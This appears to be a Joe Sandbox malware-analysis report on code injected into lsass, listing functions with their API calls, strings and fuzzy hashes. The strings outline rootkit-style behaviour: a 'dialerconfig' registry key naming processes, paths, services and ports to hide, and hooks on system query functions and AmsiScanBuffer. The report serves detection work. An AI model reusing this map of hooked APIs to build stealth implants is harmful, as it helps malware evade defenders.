Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: File$DirectoryQueryType
String ID: \\.\pipe\
API String ID: 4175507832-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: 7c144d842cfa7ee9069d61077705dc80e63a598e4779714d2bf260ea5e717718
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: DD719132204BC1C6FB65DF26989C3AE6794F785B84F560017DFA947B9ADE34CA18C740

Function 00000202C0AE211C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00000202C0AE2147
StrCmpNIW.SHLWAPI ref: 00000202C0AE21B6

Part of subcall function 00000202C0AE31CC: GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE31EF
Part of subcall function 00000202C0AE31CC: HeapAlloc.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE3202
Part of subcall function 00000202C0AE31CC: StrCmpNIW.SHLWAPI(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE3277
Part of subcall function 00000202C0AE31CC: GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE32DD
Part of subcall function 00000202C0AE31CC: HeapFree.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE32EB

Strings

dialer, xrefs: 00000202C0AE21AF
S, xrefs: 00000202C0AE22D7

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: S$dialer
API String ID: 722747020-3873981283
Opcode ID: 6a3425f5eaa1fa7964d7839e93a7c40b0f2b076159b3436a422c3db3c6fc66b9
Instruction ID: 2af22fa2d5a476c3eb6816d0402fe00be2f6e3f603dc11344672abf1fb5e6cd2
Opcode Fuzzy Hash: 6a3425f5eaa1fa7964d7839e93a7c40b0f2b076159b3436a422c3db3c6fc66b9
Instruction Fuzzy Hash: FC519D32B107A1C6FB60CB25D88CAAD73A5F704784F168527DFA557B8ADB38C869C740

Function 00000202C0AE1934 Relevance: 9.0, APIs: 6, Instructions: 42
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1978
PathFindFileNameW.SHLWAPI ref: 00000202C0AE1987
lstrlenW.KERNEL32 ref: 00000202C0AE1993
StrCpyW.SHLWAPI ref: 00000202C0AE19A6
CloseHandle.KERNEL32 ref: 00000202C0AE19B4

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: c48b0b101631eb508e742298692c669f51239643e556d9c0e71e58ac3d4616bf
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 17015732304B80C2FA10DB12A89C75D62A5F788FC0F598136DF9A43766DE3AC9898740

Function 00000202C0AE19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNELBASE ref: 00000202C0AE19F8
StrCmpNIW.KERNELBASE ref: 00000202C0AE1A12
lstrlenW.KERNEL32 ref: 00000202C0AE1A21
StrCpyW.SHLWAPI ref: 00000202C0AE1A36

Strings

\\?\, xrefs: 00000202C0AE1A06

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: 35760653a7c3f685937cc2e69bc4cd9b7b7f135bce10eb14f96030ddb38c35a5
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 4DF01962304781D2FB208B21E9DC76D6261F744B98F858123DB8947566DA7DC68CCB00

Function 00000202C0AE3620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE3639
PathFindFileNameW.SHLWAPI ref: 00000202C0AE3648

Part of subcall function 00000202C0AE3C74: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE254B), ref: 00000202C0AE3C8C

Part of subcall function 00000202C0AE3BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3BCE
Part of subcall function 00000202C0AE3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3BFC
Part of subcall function 00000202C0AE3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C1E
Part of subcall function 00000202C0AE3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C39
Part of subcall function 00000202C0AE3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C5A

CreateThread.KERNELBASE ref: 00000202C0AE368F

Part of subcall function 00000202C0AE1D40: GetCurrentThread.KERNEL32 ref: 00000202C0AE1D4B

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: a1f9a20f98be1a09609fb87148879590297a20a8bbae3459bd4eb453fa8b818a
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: B4118472618781D2FB709B30A8CD76E2290B7A4749F52412797A6857E7EF7DC46C8A00

Function 00000202C0AB2AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB2C32

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 7f55e3a06d079607286065f83a5004a6c8ad7ad05728e442eb34c2896bc2e82a
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 3491D072B01790C7FB648F25D08CB6DB791F754B94F5681279F4A1B78ADA38D81AC700

Function 00000202C0AE1AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1628: GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
Part of subcall function 00000202C0AE1628: HeapAlloc.KERNEL32 ref: 00000202C0AE1642
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA

SleepEx.KERNELBASE ref: 00000202C0AE1AE3

Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 2a8d246c19d9524347535c19656ffa5c1f21575d3b0b54c7ce5de3e3851543a3
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: D731E171610BA1C2FB509B26D9DD36E62A4EB84FC4F0650239FA987797EE24C878C250

Non-executed Functions

Function 00000202C0AE2BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE2C98
lstrlenW.KERNEL32 ref: 00000202C0AE2EC2

Part of subcall function 00000202C0AE1934: OpenProcess.KERNEL32 ref: 00000202C0AE195A
Part of subcall function 00000202C0AE1934: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1978
Part of subcall function 00000202C0AE1934: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1987
Part of subcall function 00000202C0AE1934: lstrlenW.KERNEL32 ref: 00000202C0AE1993
Part of subcall function 00000202C0AE1934: StrCpyW.SHLWAPI ref: 00000202C0AE19A6
Part of subcall function 00000202C0AE1934: CloseHandle.KERNEL32 ref: 00000202C0AE19B4

GetProcAddress.KERNEL32 ref: 00000202C0AE2CAD

Part of subcall function 00000202C0AE3C74: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE254B), ref: 00000202C0AE3C8C

StrCmpNIW.SHLWAPI ref: 00000202C0AE2CF0
lstrlenW.KERNEL32 ref: 00000202C0AE2E18

Strings

NtQueryObject, xrefs: 00000202C0AE2CA3
ntdll.dll, xrefs: 00000202C0AE2C91
\Device\Nsi, xrefs: 00000202C0AE2CE3

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: f255fe2d23540f94120cab3b16bf883902439de12d91482f99c843968eb1158d
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: EAB19D622107E4C6FB688F25D88C7ADA7A4FB44B84F465017EFA953796DB35CC68C340

Function 00000202C0AE81C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE81DC
RtlCaptureContext.NTDLL ref: 00000202C0AE8209
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE8223
RtlVirtualUnwind.NTDLL ref: 00000202C0AE8264
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE82B8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE82D9
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE82E4

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: c58ad0f624f02dcfc9d216364daf779c60b00d3df3fe6753b4f3d5f19fc37c01
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: 53313A72205B80CAFB648F60E8983ED7364F788744F45412BDB8E47A95DF39C658C710

Function 00000202C0AED6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AED74D
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AED765
RtlVirtualUnwind.NTDLL ref: 00000202C0AED7A0
IsDebuggerPresent.KERNEL32 ref: 00000202C0AED7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED7E3
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED7EE

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 78740f6651e28244420e0110bdc5b76e43b769878cef935dcc801556f4bb7619
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 05314B32214F80C6EB608F25E88879E73A4F788754F510227EB9D47BAADF38C559CB00

Function 00000202C0AE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
HeapAlloc.KERNEL32 ref: 00000202C0AE1642

Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE127D
Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1015
Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1037

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA
RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Part of subcall function 00000202C0AE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE1338
Part of subcall function 00000202C0AE12BC: RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
Part of subcall function 00000202C0AE12BC: HeapFree.KERNEL32 ref: 00000202C0AE1418
Part of subcall function 00000202C0AE12BC: lstrlenW.KERNEL32 ref: 00000202C0AE1421
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE143D

Strings

startup, xrefs: 00000202C0AE16D5
tcp_local, xrefs: 00000202C0AE17FE
process_names, xrefs: 00000202C0AE174D
paths, xrefs: 00000202C0AE1788
pid, xrefs: 00000202C0AE1712
service_names, xrefs: 00000202C0AE17C3
udp, xrefs: 00000202C0AE1874
SOFTWARE\dialerconfig, xrefs: 00000202C0AE1692
tcp_remote, xrefs: 00000202C0AE1839

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: 63c30d14b03f38bca80fdeb9590442db81523b50f5b4cbe84837049985a5c024
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: AE710736210B50C6FB109F65E8DCA9D23A9F784F88F425123DB9E47B6ADE39C458C744

Function 00000202C0AE1D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1D4B

Part of subcall function 00000202C0AE20C4: GetModuleHandleA.KERNEL32(?,?,?,00000202C0AE1D7D), ref: 00000202C0AE20DC
Part of subcall function 00000202C0AE20C4: GetProcAddress.KERNEL32(?,?,?,00000202C0AE1D7D), ref: 00000202C0AE20ED

Part of subcall function 00000202C0AE5F60: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5F9B

Strings

EnumServicesStatusExW, xrefs: 00000202C0AE1E3D, 00000202C0AE1E5E
AmsiScanBuffer, xrefs: 00000202C0AE1EDE
NtQueryDirectoryFile, xrefs: 00000202C0AE1DAB
NtEnumerateKey, xrefs: 00000202C0AE1DE5
EnumServiceGroupW, xrefs: 00000202C0AE1E1C
pdh.dll, xrefs: 00000202C0AE1EA3, 00000202C0AE1EC4
NtResumeThread, xrefs: 00000202C0AE1D8E
PdhGetFormattedCounterArrayW, xrefs: 00000202C0AE1EBD
PdhGetRawCounterArrayW, xrefs: 00000202C0AE1E9C
advapi32.dll, xrefs: 00000202C0AE1E23, 00000202C0AE1E44
NtQuerySystemInformation, xrefs: 00000202C0AE1D71
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1DC8
NtDeviceIoControlFile, xrefs: 00000202C0AE1E82
sechost.dll, xrefs: 00000202C0AE1E65
ntdll.dll, xrefs: 00000202C0AE1D59
amsi.dll, xrefs: 00000202C0AE1EE5
NtEnumerateValueKey, xrefs: 00000202C0AE1E02

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 93b880e27aeaa93a52f83b01557f87b5b855ee68516ad30953b20023d173a75b
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 3D4143A5100B8AE0FE15EF64E8DDADC2322B740358F835413D769071B79E79CA5ED391

Function 00000202C0AE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
HeapAlloc.KERNEL32 ref: 00000202C0AE1338
